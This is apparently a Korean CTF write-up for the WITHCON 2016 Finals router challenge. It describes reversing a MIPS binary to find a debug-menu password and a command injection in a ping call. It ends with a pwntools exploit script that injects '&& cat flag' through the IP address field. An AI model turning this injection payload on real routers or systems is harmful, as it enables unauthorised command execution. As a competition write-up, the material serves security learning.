-
WITHCON Finals - BPTime routerCTF 2016. 10. 25. 03:54
MIPS 공유기문제이다.
1. MIPS 리버싱
2. Command Injection
1번의 MIPS 리버싱을 통해 어떻게 하면 커맨드인젝션 루틴으로 갈 수 있는지, 어떻게하면 패스워드를 구할 수 있는지를 분석하면 된다.
그다음 2번을 통해 ping -c 65535 %s가 되어있는데, 어떻게하면 패킷을 65535번 보내지않고 공격에 성공 할 수 있는지 보면된다.
1번이 오래걸리고 2번은 순식간에 슥삭했다!
lan_ipaddr등은 파일로 구성되어있다. nvram_get은 그 파일에서 값을 가져오는 역할을 한다.
보면, 0xE0+dest에 lan_ipaddr 값을 담는데, snrpintf 인자를보면 %s에 그값을 넣어주게된다.
디폴트 설정으론 lan_ipaddr이 192.168.0.50으로 되어있다.
그리고 system으로 호출하게 되는데, 커맨드인젝션이 가능한 루틴이다.
하지만 먼저, 해당 루틴을 어떻게 접근해야되는지를 알아야한다. 분석을 해보면 아래와같다.
debug mode가 on이 되어야 새로운 메뉴탭으로 이동한다. 출력되는것을보면 1. send ping 메뉴를 선택해야 커맨드인젝션 벡터로 이동 할 수있다.
하지만..
password를 맞춰야 우리가 원하는 루틴으로 이동할 수있다.
패스워드를 구하는방법중에 우리가 시도한방법은 Segmentation Fault 뒤에 수상한것들이 릭되길래 계속해보았다. 근데 안되서 포기했고, 다른 방법을 이용해보았다.
1을 입력하면, debug 모드로 들어가지는 코드이다.
그 중, 1,2 번이 아닌 다른 코드를보면 password에 관련된 함수가 있었다.
패스워드를 출력해주는 부분같았다.
패스워드를 출력해주면, 우린 is_debug가 셋팅되서 디버그 메뉴로 진입할수있고, 진입하면 커맨드인젝션이 발생 하는 send ping메뉴를 접선할수있다 ㅎㅎㅎㅎㅎ
그전에, 우리는 lan_ipaddr을 셋팅하고 send ping을 해야한다.
lan_ipaddr이 127.0.0.1이라고 가정하면 아래와같은 커맨드가 날아간다.
ping -c 65535 127.0.0.1
그럼 자기자신한테 65535만큼의 패킷이 날아갈것이다.
커맨드를 인젝션하고 출력을 받기에는 너무나도 오래 걸린다. 하지만 아래와같은 방법이 존재한다.
ping -c 65535 -c 1 127.0.0.1
직접 테스트해보자
ping이 단 한번 보내진다. 그럼 커맨드 인젝션후 출력도 바로 받을 수 있다.
바로 익스플로잇을 하면된다.
12345678910111213141516171819202122232425from pwn import *p = remote("10.10.10.203",9090)#passoutput# print p.recvuntil("Enter menu>")# p.sendline("\x03")print p.recvuntil("Enter menu>")p.sendline("1")print p.recvuntil("Enter menu> ")p.sendline("1")print p.recvuntil("input ip address > ")p.sendline("-c 1 `127.0.0.1 && cat flag`")p.sendline("\x01")print p.recvuntil("input password >")p.sendline("sksmsQkrQkrdlek")print p.recvuntil("Enter menu>")p.sendline("1")p.interactive()cs 'CTF' 카테고리의 다른 글
[Def-camp CTF] Warm Heap (0) 2016.10.31 WITHCON Finals - jnjn (0) 2016.10.25 [BCTF] BCloud (0) 2016.10.23 [DEFCON 2014] Babyfirst heap (1) 2016.10.20 WITHCON - malloc (double free bug) (0) 2016.10.10